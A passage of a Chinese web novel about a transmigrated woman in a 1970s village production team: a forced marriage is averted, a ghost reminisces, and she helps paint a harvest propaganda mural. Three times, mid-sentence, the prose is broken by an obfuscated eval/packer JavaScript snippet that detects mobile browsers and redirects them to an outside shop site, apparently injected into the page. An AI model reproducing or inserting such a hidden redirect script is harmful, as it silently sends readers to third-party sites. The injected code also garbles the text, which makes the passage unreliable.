“这又不是过去穷得吃不上饭的时候了,怎么还卖女儿,可真够丢人的……” 听到门外人们的闲言碎语,钟秋收只觉脸上火辣辣的,他恨恨想着,大哥不说二哥,要换做是他们家有愿意出六十元彩礼钱的人来上门提亲,他就不信这些说话的人不心动! 可这个时候钟秋收还要拾起自己的脸,辩驳道,“我又不知道!那王媒人上门时也没说是个跛子!” “你不知道你不去打听,我一个小孩随便问问都打听到了!”钟拴柱嚷道。 “好了!”李明沉着脸喝道,脑仁子被这爷俩吵得生疼。 这家里只有爹没有娘、变成一言堂就是不行,李明想了想,对角落里还在抹眼泪的钟妮说,“妮儿,你娘没了,女长辈就只剩下钟老二家的,你去把你婶子叫来,你爹是个拎不清的,你的婚事不能让他一个人做主。” 一听这话,钟妮顿时仿佛看到了希望,重重的点了下头,快速抹掉了眼里就往外跑。 钟妮找上门来时,邓霞是不愿意沾那老东西家的事,但架不住她闺女在她耳边吹耳旁风。 “娘,这可是难得理直气壮给他添堵的机会啊。”钟颖压低声音,感觉自己此刻特别像蛊惑人心、到处把人当枪使的坏女人,“而且这回你过去那可是去伸张正义的,娘你想啊,你不去,任由那老头自己做主,不就真把钟妮嫁给那跛子了。” 钟颖叹气,“他又得到了六十块钱的彩礼,苦日子又有女儿吃,那他不就净过自己的好日子了?” 邓霞一听,不行!看着自己恨得牙痒痒的人过上好日子比她自己过苦日子还要令她难受! “妮儿,你放心,婶子一定不会让你爹这么随便把你嫁了的!”邓霞坚定说道。 钟妮感激的看着邓霞,又感激的看向她身后的钟颖。 钟颖深藏功与名的朝她颔首,谋划的最后一环填上了,有她娘在,钟老头这桩“好事”就成不了。 “娘,我也去!”钟颖兴冲冲的跟上邓霞,想要过去看个热闹,打脸什么,亲眼看着更爽! 从来任女儿予求予取的邓霞这回却没答应,“你一个未婚姑娘掺乎进这种事干嘛?” 钟颖不高兴的撇撇嘴,她算是看明白了,在现在这年头,男人排在最前面,结了婚的妇人排在后面,最说不上话的就是没结婚的女孩。 邓霞大步迈进钟秋收的家门,钟颖只能悄悄混进门口的人群里看热闹。 李霖时比她来得早些,仗着人看不见他,直接登堂入室,站在钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556846|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老大家的院子里前排围观,冷眼看着事情发展尽如钟颖所料。 李明本想着叫邓霞来,她作为女长辈站在女方的角度好好劝劝钟老大,没想到邓霞一来就直接开始数落人。 “好你个钟秋收,当初我那命苦的妯娌总共给你生了五个孩子,如今就活下来了这俩,你都不好好对孩子们,现在为了六十块钱就能把闺女嫁了,也不管男方是个怎么样的人,你这是啃完当娘的血肉又来吃闺女!” 邓霞恶狠狠的说,对着钟老大就是劈头盖脸一顿骂,“你个丧尽天良的畜生货,拿着那笔钱你都不怕你家那口子不投胎来找你!” 就飘在屋子里的曹芳眨眨眼,她确实没投胎,也确实这些日子没少来找这老头。 李明痛苦的闭上了眼,他应该在地里,不应该在这里。 “往后妮儿的事我这婶娘管定了!你赶紧去找媒人把这门亲回了!往后再有人提亲,拴柱,你就去喊我来。”邓霞叉着腰,颇有气势的指挥着。 钟拴柱眼睛亮亮的点头,大声应着,“哎!” 邓霞又扭头对钟秋收说,“你个老货趁早给我打消了肚子里那点小算盘,你一天没正儿八经的养两个孩子,生产队谁不知道妮儿又当爹又当娘的把她弟弟带大,就算以后有人上门提亲愿意出彩礼钱,这钱也要让妮儿拿走去过日子的!你一分都别想捞得!” 钟秋收瞪眼,“这是我家的事,用得着你指手画脚——” 李明不耐烦的打断道,“钟老二家的说话直了些,但也没说错,就这样办的。我还有门口的人们都算做个见证,妮儿没有娘,她这个婶娘代为掌眼也在理。明儿个就去把婚事回了,好好的姑娘嫁什么跛子!咱们生产队上没有好青年了?” 钟秋收有些怵队长的冷脸,哪怕心里仍然有些不忿,但也只好这么答应下来。 钟妮难掩激动的和弟弟拴柱握住了手,她们成功了! 李明见事情了了,抬脚离开钟老大家,对着门口看热闹的人们挥了挥手,“都散了吧,该干嘛干嘛去!” 人群四散开来,刘红艳追上自家男人,看他表情仍是不虞,奇道,“事情不是解决了吗?” 李明心烦苦闷,“调解家长里短、解决婚姻家庭矛盾的事本应该是妇女队长该干的,现在一个两个有事全找我去调节!” 刘红艳了解他,李明这人吃苦耐劳、踏实能干,作为生产队长带着队员们搞生产是再负责不过了,但要让他调解家长里短、做人情判官,那是为难他了,男人,总比女人少了点耐心和同情心。 “前两年就说了让你选个妇女队长,分担些事情,你不是不听?”刘红艳说。 李明沉着脸扭头看她一眼,“我不是不听,我就问你,选谁来当?” “钟老二家的,泼辣有了,嘴巴太狠,上来就给人一通骂,让她当那不跟烈油嘣进火里,不指望她把事情闹更大就算山神保佑了;” “范五家的,要让她当妇女队长,那尾巴能翘上天,拿着鸡毛当令箭,不得整天到钟老二家的面前耀武扬威?” “老三家的,一门心思都系在唯一的儿子长贵身上,现在长贵走了,她也丢了主心骨;” “胡打听,有事她就只会在旁边听热闹,不听够不过瘾;” “刘强家的,遇到事了就是个没主意的,指望她主持公道?她能先慌了神!” “三姑婆,大家是都服她,但我怕吵起来人们气头上一个不注意再把她推倒了,这么大年纪的人可不敢摔着;” 李明细数着生产队年纪大些的妇人,看向自个媳妇,“还有你,软和话会说,硬气话就不会了。” 刘红艳想反驳,但又无力反驳,老李唱白脸次数多了,她习惯了唱红脸来安抚人了。 “再往下,年轻媳妇里,又有几个能挑起这担子的?不是正怀着孕就是在照顾一家老小,根本抽不出身来。”李明摇头,至于生产队里那些未婚的姑娘,在他眼里都不算是妇女,只能说是孩子,更担不起事来。 李明叹息,“要不怕事,敢出头;脑子灵,能想出四两拨千斤的应对;泼辣,但要讲理,处理起事来人们才服她……你说我上哪儿去找这么个人来当妇女队长?” 刘红艳仔细想了想,整个同甘生产队里还真想不到能对上号的媳妇,她摇了摇头,“那你就熬着吧,等秋收农忙起来这种事就少了。” 李明又是叹了口气,“还是忙点好啊。” 33. 神笔马良 李霖时又回到了甘霖河,这次他逆流而上,在颖山的径流里停留。 他小时候从没像钟诚那样进山探险过,他觉得颖山危险、可怖,只想离得远远的;但真的身处颖山之中,李霖时发现其实颖山也挺好的,动物自在穿梭在树林灌木中,阳光从交错的枝叶间穿过,在落叶和青石的地面上投下斑驳的光影,很美好。 和钟颖一样。 李霖时沉浸在河水中,也沉浸在回忆中。 【“钟颖那个凶丫头!又踹我屁股!”彼时才五岁的刘家四子刘丰收瘪着嘴愤恨说道,嘴巴骂骂咧咧说着从大人那里学来的话,“憨婆娘,以后我看谁敢娶她!” “咱们要叫她姐,颖姐比我们大,”他三哥刘广田小脸上满是无奈,“那还不是你又去拽她辫子。” 刘丰收不服气,“谁叫她不看我……” 刘家兄弟俩从李霖时前面经过,看到他时才停住话头,异口同声的和他打招呼,“四表哥,你去村小上学啊?”】 【时逢假期,李霖时离开县城高中回到甘霖村,走在土路上,他的脚步一顿,抬眸望去,果然撞进一双盯着他瞧的眼睛里。 李霖时不由得皱了下眉,随着拔高的个子,他的眉眼也跟着张开,学校里不是没有女同学会悄悄盯着他看,只是在他看过去的时候,她们往往都会立刻移开目光、若无其事的假装在做别的事情。 只是现在这个正盯着他的女孩,似乎并没有这种自觉。 李霖时认出了她,是钟二叔家的钟颖。 他与她四目相对,在她直白又好奇的目光下,李霖时先移开了目光,他抿紧唇,加快脚步,匆匆走进自家家门。】 【大学毕业,李霖时放弃了留在城里等待分配工作,回到了同甘生产队。 那年直勾勾盯着他的少女也抽条长高,看向他的目光仍然直白,李霖时可以很容易读懂那双澄澈眼眸中蕴藏的内容,就像是看到一样值钱的好东西想要占为己有,令他不喜,处处避开。 他们都已经长大成人了,李霖时知道这种“占有”意味着什么,但他并不想娶钟颖。】 李霖时现在想来,觉得自己过去多少也有些先入为主的偏见,和其他人一样。 即使现在,大多数人对钟颖的印象仍是“奸懒馋滑”、“厉害丫头”、“不懂她爹娘为什么这么惯她”…… 但就像身处颖山中才知山间景色秀丽一般,只有了解她才知她的好。 可……李长贵的话又在李霖时的脑海中浮现。 【“人鬼到底是殊途,哪有一个有好结果的?身死,生前事就都一笔勾销了,你强留在人世间也是抓不住的……”】 黑沉的郁气攀上李霖时俊美的脸庞,衬得他面色阴翳恐怖,他骤然散去人形,与甘霖河河水融为一体。 别想了。 他不该想的。 人与鬼的悲欢并不相通,钟颖仍在热闹的人类社会中生活着。 在又发生了赖混子跑别的生产队偷菜被抓,队长自家“后院起火”、大孙子和二孙子两个小屁孩打架等等事情后,终于进入了九月,生产队犹如重新上紧发条的机器,再次忙碌的运转起来。 先是春季下种的麦子成熟了,又是一波收割、打麦、晾晒;秋分后还要收割夏天种下的那波玉米,简直忙得不可开交。 不过好处是,天气没夏天时那么热了,以及人们每天下工后累得只想睡觉,再没精力想别的事。 但是同样的,钟颖也累的得不行,没办法,秋收太多活儿了,生产队里能算作劳力的都必须下地干活。 割完麦子掰玉米、晒完麦子晒玉米……这回没有她哥钟诚帮忙了,钟颖算是彻彻底底的参与进农村劳作中,和现代伏案工作不一样的累,这时候农具还没发展成现代便利的样子,大多的劳作都还需要靠人力。 等完成了一天的工作份额,生产队的队长李明一边检查一边让记分员范五登记到社员劳动工分登记簿上,人们再把农具交还给保管员李钢时,这才算是下工。 钟颖还了镰刀,把头上的草帽摘下来,汗湿的头发蜿蜒粘在脸上,她突然有点理解原主了,像记分员和保管员这种担任一定职责的管理人员,虽然同样要下地干活,但至少不会像普通社员一样,从早到晚被固定的农活拴住。 有点羡慕、有点眼馋,怪不得原本的钟颖想要嫁入李家、想抢当时李霖时的那份记分员工作,她也——钟颖想着,用力晃了晃脑袋,不行,不能走这种“捷径”。 在高强度的互联网大厂工作,钟颖见过加班到深夜、被男友的一句“累就嫁给我吧”截走的女同事,她们就此消失,只留下一个空荡荡的工位。 只是一段时间过后,钟颖就会听到前车之鉴的劝告,“不要输给那个瞬间”、“不要温和的走进那个良夜”。 很多时候婚姻不是托底,而是更深的泥沼。 钟颖把草帽夹在腋下,伸手去揉酸痛的胳膊,还是等她锻炼出来,就不会觉得这么累了。 不过李霖时又去哪儿了? 钟颖想起阴晴不定、神出鬼没的那死鬼,有时候真想把他揣兜里装着,有他在凉快啊。 下了工的人们往外走,不过最近这几天人们下了工后不是着急回家吃饭休息,而是会绕道到村口,看一会儿“热闹”才回去。 “这画的是不是我啊?”胡打听惊喜的指着墙上的一处。 赖混子反驳,“我还觉得是我呢!你肯定是后面几个人里的一个。” 三姑婆乐呵呵的说,“这才刚起了个草稿,人都还看不出谁是谁呢。” 九月底,同甘生产队来了一支绘画小队,人不多,一老两少,是公社组织成立的临时绘画队中的其中一个小队,任务是来各个生产队进行宣传画创作。 村口村小的外墙就成了他们的画布,刚开始的几天绘画队是先做墙面的平整处理,用麦秸泥糊平外墙的坑洼处,等泥底干透了,在在表面刷上一层白石灰水,这样墙面就变成了“画布”。 这两天绘画队终于开始拿着烧黑的木棍在墙上勾勒草稿,引得生产队的社员们每天下工都好奇的过来看看,今儿个终于看出来了些名堂,这画的是人们在地里劳作的场景啊! 同甘生产队的大家伙儿不免兴奋起来,在一个个尚是火柴人的寥寥几笔中寻找着自己的身影。 这幅宣传画的创作者,也就是绘画小队的领头人,年纪最大的谢计祥见人们围过来也不恼,笑着说,“放心,这可是一幅丰收图,人怎么可能会少,你们生产队人不多,基本都画上去了。” 一听这话,人们欢欣鼓舞,还有脑子灵泛些的,立马要请绘画小队的三人来家吃晚饭,想着让他们把自家人都画到前面。 谢计祥、贾根旺和纪运长盛情难却,几次推脱说队长家给他们包饭都推脱不掉,只好答应下来。 谁知这一吃就吃出事来了。 半夜聂金龙被叫到队长家,一看上吐下泻的贾根旺,他顿时就吓白了脸,“这……我去叫我媳妇过来!” 说完他就扛着药箱快步走了。 李明一听就知道要糟,生产队的队员们有个头疼脑热的聂金龙都能看,看不了的大病他才会叫他媳妇过来帮他,毕竟他那点给人看病的本事还是他媳妇教的,徒弟看不了那只能叫师傅来看。 没过一会儿,一个留着齐耳短发、面容清秀的女人就来了,她就是聂金龙的媳妇姚东秀,说是盘坡口的药神后人,一家子都懂点医术,为此胡打听可谓是三顾姚家才给大儿子求娶来了这个媳妇。 不过要不是有这么个有本事的媳妇,聂金龙还做不了生产队里的赤脚大夫。 “又吐又拉的,我瞧着跟之前范五叔家的四妮儿一样,”聂金龙压低声音和媳妇说着,“四妮儿就是那次没的……” 所以聂金龙才一看就吓白了脸,赶紧回家“搬救兵”,他自己就是个半吊子水准,这种病肯定治不好的,他媳妇说不定还能再给人救一救,这好好来他们生产队画宣传画的人,可不能就这么没了,不好对公社交代啊! 姚东秀沉稳的点点头,表示自己心里有点数了。 等真的看到病人,姚东秀心里也是一沉,只面上没表露出来,她爹教过,看病的不能慌,看病的一慌病人就更慌了。 “晚上吃了什么?”姚东秀问。 贾根旺已经吐得极为虚弱了,只能一旁的谢计祥和纪远长代为回答。 “我们晚上是去了一个瘦瘦矮矮的婶子家吃的饭,她男人叫范五,就是做了些家常菜,素炒黄豆芽、面饽饽、煎小鱼什么的。”纪远长说,百思不解,“这些菜我们都吃了,但只有根旺变成了这个样子。” 谢计祥补充道,“对了,吃到一半的时候,范五又拿来了几个咸鸭蛋招呼我们吃,我和小纪闻着那味……有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562388|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臭,就没吃,只有小贾吃了。” 姚东秀颔首,转头对队长李明说,“叔,你赶紧拿推车把人推去镇上吧,八成是急性肠胃炎,这病咱这里治不了,要去镇上卫生所挂水、开抗生素。” 李明一听,也不质疑,立马招呼在场的几个男人,“来,都搭把手。” 直忙活了一夜。 第二天生产队的人们醒来才知道昨夜发生的事。 邓霞有些幸灾乐祸,和闺女窃窃私语,“这回聂英要被队长批评喽,让她搞这种小动作!” 钟颖对她娘和隔壁范家婶子的日常“相杀”已经无奈了。 不过这件事造成的后果除了范五两口子被思想教育一番以外,更严重的是绘画小队少了一人,贾根旺因急性肠胃养住在了卫生所里挂水调养,元气大伤,一时半会儿回不来。 别看就少了一人,本来三个人规划好半个多月完成的工作,两个人怕是要干将近一个月,这可影响他们之后的工作。 大清早,一夜没睡的李明对着生产队众人,没有上来就说今天地里的安排,而是先说起了绘画小队的事,“……前情就是这么回事,所以现在绘画小队希望生产队里能拨出一个人过去帮他们,代替贾根旺,早日画完墙上的宣传画,工分照算。” 虽然话是对着生产队所有人说的,但李明的目光看向的却是生产队里的那四个知青,城里来的文化人,画画应该会的吧? 程彬没出声。 仇玉才躲闪的避开视线。 陈丽娜有些意动,去画画就不用在地里干活了,但……可恨她真的从来没画过画。 杨美娟表情坚毅,她是来支援农村建设的,不是来画画的,秋收需要她,地里需要她,而且她也不会画画。 还真是没一个会的。 钟颖却兴奋的举起了手,“我,可以选我吗?” 比起通过嫁人获得一份轻省活计,钟颖更想通过自己。 赖混子一看就知道钟老二家的这个小妮子是在地里累着了、想找个轻省活干,那他也想干轻省活咧,于是也紧接着举起手来,“选我,我是男的!” 钟颖无语的瞟他一眼,拿画笔的是手,又不是屌。 李明拧眉,这一个两个的都想偷懒是不是? 谢计祥不认识生产队里的人,还真以为举手的两个人都是会画画的,很公平、公开、民主的说,“只需要一个人帮忙就行,你俩人在地上先随便画个什么,我和小纪从中选一个画得最好的。” 一听还要让他当场就画个什么,赖混子哪里真的会画,一时脸上露怯,有点后悔刚刚跟着钟家小妮喊出声。 钟颖倒是一点也不虚,从一旁地上捡了根树枝子就以黄土地为画纸画起来,不过比起上一回画给李霖时看的那些现代事物,这次钟颖当着生产队其他人的面,收敛了很多。 生产队的众人惊讶,怎么看她这架势,真像有点东西,而不是在装样子啊? 没一会儿,人们更惊讶了。 “这不画的是你吗?”胡打听看着地面上被线条勾勒出的人脸惊呼,扭头看向邓霞。 其他人纷纷看看地上钟颖画的人像,又去看活生生站着的邓霞,嘿,还真是一眼就能看出来画得是谁! 邓霞自己都惊讶了,看向闺女,“你怎么会画画的?” 农村人识字的都不算多,更何况是画画,闻所未闻!所以生产队的众人才把绘画小队来画宣传画这事当西洋景看。 钟颖当然不能说自己上辈子、不对,按照时间顺序应该说是未来的下辈子(?),她不能直接说自己就是干这个的,只睁着眼睛说瞎话,“我天天都能看见娘,就这么画出来了。” 她说得太理直气壮了,没一个人能再提出质疑。 生产队众人只用全新的目光去看钟颖,这小妮儿原来还有这种才气呐? 谢计祥走过来一看,地面上的画比他这次带来的小纪、小贾画得都要好,他顿时也面露惊讶,看向这个年轻女孩,“你以前从没学过画画?” 钟颖眼睛都不眨一下,“对。” 假装学了五年画画好不容易考上一流美术院校、本硕连读在学校又画了七年、毕业工作又画了两年的人不是她。 谢计祥惊讶连连,“手随心动,天才啊!” 钟颖努力克制住自己的不自在,不就是穿一个神笔马良的“皮肤”,撑住! 34. 宣传画 其实画宣传画也不轻松,同样是在大太阳底下干活,一干就是一天,只是做自己擅长的事,心理上总会觉得轻松些。 钟颖心想,逃避虽然可耻,但确实有用。 不过她也不完全是逃避劳动,她只是换了个工种,从田间收麦子、掰玉米换成了画宣传画。 钟颖拿着用布条和树枝做成的画笔,蘸了黄色颜料,在石灰墙面上画下一笔。 谢计祥画完高处的河流,从梯子上下来,往后走了几步,远远审视的看着墙上的画面,原本只是黑白线条的草稿现在已经被填充上去大半色彩,蓝色的天空、白色的河流、黄色的麦田,只差人物和细节刻画了,不得不说,这进度比贾根旺在时还要快。 他的目光落到在右侧专注画着草垛的女孩身上,心中不由得升起一种名为“惜才”的情感,谢计祥惋惜的摇了摇头,“可惜了,是个女孩……” 这要是换作是个男青年,谢计祥还能把他吸纳进绘画队里,可一个未婚的女同志,他还真不敢带着她各个生产队的蹿。 钟颖没听见这句惋惜,她正忙着一边画画一边和大伯娘说悄悄话呢。 曹芳飘在半空中,看着墙上的画赞叹不已,“大侄女你画得可真好,这麦子跟地里长得是一模一样!” 钟颖就还是那个借口,压低声音,嘴唇微动,“天天在地里看,样子都刻进我脑子里了,所以才画得像。” “那可不是这么说的,”曹芳不赞同,“地里刨食的谁不是天天看这些东西啊,但又有哪个人能画得出来?大侄女你还是太谦虚了。” 钟颖尴尬又不失礼貌的笑笑,转移话题,“对了,大伯娘,你最近有看见李霖时吗?我又好些日子没看到他了。” 说起这个,曹芳也觉得很奇怪,“没,我最近也没见着他。” “难道是去投胎了?”钟颖呢喃,有些高兴又有点不高兴。 都是为了堂弟一起努力过的关系了,投胎居然都不道个别吗? 不过钟颖想了想,就算李霖时真来道别,她和他之间好像也没什么好说的。 这样一想,钟颖心底那点不高兴就散去了,只剩下高兴。 太好了!终于!这鬼可算是走了! 毕竟死鬼是变态,但钟颖不是,好好的人谁想暗处里有只鬼在阴森森的盯着自己,这鬼脾气还不好,阴晴不定的,一会儿生气一会儿不高兴的—— 钟颖突然一个激灵,一种被紧盯着后脑勺的感觉袭来,如芒刺背,不是吧,在心里说鬼坏话都不行吗? 她仿佛怕惊扰什么般动作缓慢又僵硬的扭回头去看。 不是那双阴翳幽深的黑眸和苍白俊美的脸庞。 而是一双晃神呆滞的细长眼和泛着红晕的黄皮脸。 钟颖难免有些失望,毕竟落差有点大,不说别的,李霖时那张脸还是很令人赏心悦目的。 李贵人阴湿却实在美丽,钟颖腹诽,又瞥了一眼仍看着她发呆的青年,暗暗补充一句,和普通人有壁。 纪远长回过神来,发现自己盯着人看的行为被抓了包,他慌乱的避开钟颖的目光,脸上更红,窘迫的左看右看,“你、你需要再调一点黄颜料吗?” 他们用的都是自制的土颜料,红色是用红土研磨成粉、加水兑胶调制成的,黑色是锅底灰加水兑胶,黄色、白色是黄泥浆、白石灰水调成的,只有蓝色、绿色比较难获得,大多数时候是用植物汁液来调配。 钟颖哪里看不出年轻人浅显的心思,不想给他任何遐想的空间,于是冷淡的说,“不用了,我这里还有。” 纪远长的目光追随着她回过头去的动作,眸色微动,沉溺在她的侧颜。 他也没想到会在这种小山村里遇见自己理想中的女性。 美丽、恬静、清冷、又极具才华。 纪远长只是看着钟颖,脑海中就有无数的灵感迸发,以她为主体人物创作出不同的画作。 生产队的众人每天下工都来看看村口的宣传画,和地里不断推进的收割一般,宣传画也是一天一个新样子。 “麦田!是麦田!画出来可真好看,金灿灿的!” “这是甘霖河吧?是了是了,可不能少了这个。” “今天终于画到人了!” “钟老二,钟老二家的,你闺女把你俩画得可真像!” 面对别人艳羡的夸奖,就连腼腆的钟春生都忍不住露出一个自得的笑容,更不用说邓霞了,她的脑袋昂着,那股得意洋洋的劲儿遮都遮不住。 苗素云指着墙上已经起了个形、还没上色的线稿人物,“小妹,这是我不?” 钟颖点点头,“明天画你还有信子。” 一旁的钟信立刻控制不住的脸上露出个笑来。 只有攀在他娘背上才能看到墙上画的钟国强小朋友不高兴,急声一连串的发问,“姑,那我呢?我在哪儿?” 钟颖看他一眼,故意说,“这画的是劳作图,你这么小又没来地里干活,当然画里没有你了。” 钟国强嘴巴一瘪,眼里就要冒出金豆豆,“明天、明天我就长大了!明天我就能来地里干活儿!” 苗素云哪里看不出钟颖是在逗儿子玩,只是她也被“带坏”了,故意说,“一晚上田里的苗都长不高,你就能长高了?” 钟国强急坏了,“那我、我多吃饭!” 小孩子的理解中,多吃饭才能长高高。 “饽饽一天蒸多少都是有数的,你多吃了,你爷、你叔吃什么?”邓霞也扳下脸来故意逗孙子。 小豆丁看看钟春生、又看看钟信,简直要为难死了。 钟颖忍不住笑出声来,放过“摧残”祖国的花朵了,“放心啦,会把你画到你娘的背上的,家里人都会画,除了你爹,谁让他这时候不在家。” 钟国强安心了,至于他爹没份儿?这不重要。 纪远长同样被乡亲们围住问东问西,一扭头看到钟颖开怀的笑颜,心脏仿佛一下子又被击中一般,原来她面对家人是这般的灿烂柔和。 他不由得更加沉沦,他也想成为被她特殊对待的那一个人。 随着一天天的过去,这一幅喜夺丰收的宣传画已经渐入尾声,画面中大部分人物已经画完,谢计祥已经开始打格子准备写宣传画最下面的宣传语“鼓足干劲,争取农业大丰收”几个大字了,他在心里默默盘算着,估摸再画两天就能画完了,比原定计划还要早收工四天! 临近傍晚,下了工的人们又来看画了。 林淑红“咦”了一声,指着画面中走在最前面的人物问,“我还以为这里是要画我们生产队的队长咧,怎么画的是钟老二家的颖妮儿啊?” 其他人一看,还真是! 钟颖闻声一看也是愕然,她被分配的任务是画右侧及后方一连串的人物和麦田,又加上刻意和纪远长保持距离,还真没注意他画的居然是自己。 宣传画正中的位置,一个扎着双麻花辫的女社员捧着个贴了“丰”字的谷筐走在最前面,其他人紧随其后,人人脸上洋溢的收获的喜悦之情,黄灿灿的谷子在人们身边堆了一筐又一筐。 众人再一看还在刻画女社员发丝细节的纪远长,啧,还有什么不明白的,这小子有想法! 纪远长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568153|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在众多意味深长的目光下忍不住涨红着脸低下头去,羞窘万分。 好歹是自己的徒弟,谢计祥出来帮他解围,“这不是那句话说的,青年是整个社会力量中的一部分,是最积极、最有生气的力量。青年人朝气蓬勃,正在兴旺时期,好像早晨八、九点钟的太阳,所以这幅宣传画创作时才把青年人物放在了最前面、放在了画面的中心。” 当然,生产队里的青年又不止钟颖一个,将她画在这个位置,不论是纪远长还是谢计祥,都有点自己的私心。 纪远长是心慕佳人,谢计祥是想着要是钟颖真能和纪远长结婚,那他就可以带着小夫妻一起去别处画宣传画了。 打着这样的算盘,谢计祥出来打圆场,看向李明,“李队长,你不会介意吧?” 李明摆摆手,他年纪大了,早有想让年轻人接班的打算了,本来想着小儿子回来了就……想到这儿,李明又不禁怅然。 看热闹不嫌事大的胡打听调侃道,“我们颖妮儿是漂亮,画出来也上相,这栩栩如生的,观察了不少眼吧?” 聂英有些酸,“我记得小纪家是县城的吧?” “真好,”三姑婆欣慰地说,“看来咱们生产队又要有一个‘跃农门’的姑娘了……” 在她们看来,这样昭然若揭的把人画出来,和当众表白没什么区别了,哪个女孩能不心动,就连她们这些婆子都为之触动,活了大半辈子,还没有男人这么细致的画过她们咧! 邓霞却是脸色并不好看,沉着脸去拉钟颖,“画完没?走,回家。” 钟颖点点头,今天要画的她已经画完了,只是笔还没洗,“娘,我还要洗笔。” “回家洗,明儿再带过来。”邓霞不由分说的拉着她走了。 看着离开的娘俩,众人面面相觑,随即也若无其事的各自归家。 纪远长望着已经看不到人影的方向,忍不住的揪心,是不是他做得太过了,不应该把她画到中心?也不知道她娘回去会不会指责她? “啧啧,你这身板也不经揍啊。” 纪远长听到说话声,扭头去看说话的人。 刘丰收抱臂流里流气的站着,上下打量着在他看来“胆大包天”的青年。 他刚刚说的话纯字面意思,小时候被钟颖揍过的男孩里属他被打的次数最多,没办法,他几个哥哥要么年纪大了已经懂事、要么就是老实人,贱根子全到刘丰收身上了,当时整个生产队的小孩属他最人嫌狗憎。 “你都不先打听打听钟颖是个什么样的人吗?”刘丰收问道,心里啧啧称奇,除了他大姨家的四表哥,又一名勇士出现了,不过不知道这位是勇士还是莽夫。 纪远长皱眉,“你什么意思?我不需要向别人打听,我自己有眼睛,我能自己看,钟颖她美丽、恬静、有才华,人清冷又柔和——” 刘丰收越听越目瞪口呆,忍不住打断他,反问道,“你说的是谁?你确定你说的是钟颖?你是不是眼睛有问题?她根本不是这样!钟颖就是个炮仗脾气,一惹就炸!骂起人来跟嘴巴有毒一样,一点都不饶人!” 纪远长听着他的“诋毁”,眉间越皱越紧,他突然想明白了什么,骤然松开眉头,“我知道了,你一定是也心仪她!所以才故意跑到我面前说这些话!” 刘丰收震惊的睁大眼睛,伸手指着自己,“我?我不要命了啊!” 小时候就是他被钟颖揍得最多,他喜欢钟颖?他又不是脑子被揍坏了,想挨一辈子的揍,没见他向来都是绕着钟颖走吗? 刘丰收上上下下打量着纪远长,这人不仅眼睛不好使,脑子恐怕也不好! 35. 心思 邓霞倒是没有像纪远长担忧的那样回家斥责钟颖,她只是紧张的看着闺女,“颖啊,你和娘讲,你没那种心思吧?” 钟颖莫名,“哪种心思?” “就是和那姓纪的青年对你的那种心思!”邓霞说。 “哦~”钟颖恍然大悟,在邓霞紧张的目光下给了她娘一个痛快,“那没有。” 要换做是这个时代的姑娘,可能会被这样的招数打动。 但钟颖见的可多了。 搞艺术的男生追女生大多都是那几招。 音乐系的男生弹个吉他唱首情歌,美术系的男生就是给人画画、画一本子的肖像画。 钟颖读大学时见过同系男生每年给邻校不同的女生画一素描本的画表白,都是学画画的,大家不会觉得这种表白方式有多感人,只会觉得这男生死装,背后蛐蛐他又用这种手段泡妹,没一点新意。 所以纪远长的行为还真打动不了钟颖。 邓霞松了口气,“吓死我了,我还以为你随我,也像我当年那样主意大,自己给自己的婚事做主了。” 钟颖的眼睛立刻睁圆,有故事? 邓霞这才发现自己一时说漏了嘴,呼吸一滞,在女儿的目光下只好稍微透露了些过去的内情,“那时候家里要给我和我二哥说转亲,我不乐意,你爹正好请了媒人来说媒,我抢在前面自己答应了,不管不顾的当场就跟着媒人走了。” 她说的轻描淡写,实则当时家里闹翻了天,她爹怒骂、她二哥也骂,她娘哭求,邓霞都当听不见,她就是不想当以物易物的货,也因此一度和娘家决裂,直到前几年诚子去当兵了,关系才缓和下来。 “什么是‘转亲’?”钟颖还是头一次听说这个词。 “和‘换亲’差不多,只不过换亲是两家互换闺女做媳妇,转亲是三家转着换闺女做媳妇。”邓霞说。 钟颖“哦~”了一声,封建愚昧。 邓霞说回原先的话题,警告女儿,“你可别看那青年是县城的就动心,什么‘跃农门’,看着好像是天大的好事,但实际上农村媳妇嫁去城里才没个好脸色呢,你知不知道就算嫁去了城里,户口和粮食关系还是留在生产地啊?” 钟颖惊讶的摇摇头,“不能随着结婚落到男方户口本上吗?” “不能,”邓霞说,“我也是见李家那闺女嫁到城里才知道的,要男方家里很有能力才行,审批很严格的,名额也少。多数都是人嫁去了县城,但户粮关系还在生产队里,柔妮儿就是这样。” 